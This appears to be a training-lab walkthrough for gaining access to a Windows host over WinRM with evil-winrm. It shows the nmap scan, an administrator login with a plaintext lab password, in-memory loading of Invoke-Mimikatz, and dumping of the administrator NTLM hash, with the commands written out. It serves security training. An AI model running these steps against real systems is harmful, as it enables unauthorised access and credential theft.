
 

 



 

 
Important Note: This document illustrates all the important steps required to complete this lab.              
This is by no means a comprehensive step-by-step solution for this exercise. This is only               
provided as a reference to various commands needed to complete this exercise and for your               
further research on this topic. Also, note that the IP addresses and domain names might be                
different in your lab.  
 
Step 1:​ Run a Nmap scan against the target IP. 
 
Command: ​nmap --top-ports 65535 10.0.0.192 
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Step 2: ​We have discovered that winrm server is running on port 5985. By default, WinRM 
service uses port 5985 for HTTP. We have the credentials to access the remote server, we will 
run the evil-winrm tool on the target machine to gain access. 
 
Checking the help of the tool. 
 
Command: ​evil-winrm.rb --help 
 

 
 
We can notice the help is straight forward. If we want to use​ local PowerShell​ scripts or ​C# 
executable.​ We need to specify the option related to it and the path to the script or binary 
executable. 
 
Connecting to the WinRM service using the provided credentials i.e 
administrator:rocknroll_123321 
 
Command: ​evil-winrm.rb -u administrator -p rocknroll_123321 -i 10.0.0.192 
 

 



 
We got the PSSession by the Evil-WinRM tool. We can type the “​menu​” command to check 
supported commands by the tool. 
 
Command: ​menu 
 

 
 
We can perform multiple operations using this tool, i.e loading PowerShell scripts, running 
binary in memory, loading DLL libraries in memory, etc. 
 
In this challenge, we are going to load the ​Invoke-Mimikatz ​script on the target machine to 
dump the NTLM hash. The script is located on the attacker’s machine 
‘​/root/Desktop/tools/scripts/Invoke-Mimikatz.ps1​’ 
 
Step 3: ​We will load the script by the tool. Before we go ahead, exit the Evil-WinRM active 
session and reconnect with the -s options for usage of local PowerShell scripts as described 
above. 
 
Command: ​evil-winrm.rb -u administrator -p rocknroll_123321 -i 10.0.0.192 -s 
/root/Desktop/tools/scripts 
 
 
 



 

 
 
Step 4: ​Type “​Invoke-Mimikatz.ps1​” and hit enter to load the script in the memory of the target 
machine. 
 
Note: ​This would take around 60 seconds. 
 
Command: ​Invoke-Mimikatz.ps1 
 

 
 
Step 4: ​We successfully imported the mimikatz PowerShell script. We can type the ​menu 
command and hit enter to see all the script is loaded or not. 
 
Command: ​menu 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 
Step 5: ​Invoke the script and dump all the hash. 
 
 
Command: ​Invoke-Mimikatz -Command 'sekurlsa::logonpasswords' 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 
We have discovered the Administrator user NTLM hash 
 
Administrator NTLM Hash: ​7ff3c58fce728b60f1ff8718c4e9ca67 
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